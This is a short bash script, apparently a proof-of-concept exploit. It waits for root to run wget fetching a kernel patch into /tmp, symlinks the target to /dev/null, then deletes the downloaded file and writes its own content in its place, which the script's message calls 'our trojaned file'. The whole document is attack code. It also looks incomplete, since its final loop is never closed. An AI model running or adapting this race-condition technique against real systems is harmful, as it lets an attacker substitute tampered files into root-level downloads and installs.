#!/bin/bash

rm -f salida.txt pid.txt *.wget /tmp/patch-2.4.26.bz2
echo "1">salida.txt
a=`cat salida.txt`
echo "Waiting for Wget execution..."

while [ "$a" == 1 ]
do
ps auxw|grep wget|grep patch-2.4.26.bz2>>salida.txt
a=`cat salida.txt`
done

echo "Process catched!"
pgrep -u root wget>pid.txt
ln -s /dev/null /tmp/patch-2.4.26.bz2
echo "/dev/null link created!"
echo "Waiting for downloading to finish..."

b=`pgrep -u root wget`
touch $b.wget
c=1
while [ "$c" == 1 ]
do
if [ -e .wget ]
then
c=0
echo "Downloading finished! Let's delete the original file, and put
our trojaned file :-)"
rm -f /tmp/patch-2.4.26.bz2
echo "Surprise!">/tmp/patch-2.4.26.bz2
echo "Does it worked "

ls -la /tmp/patch-2.4.26.bz2

else
b=`pgrep -u root wget`
touch $b.wget

fi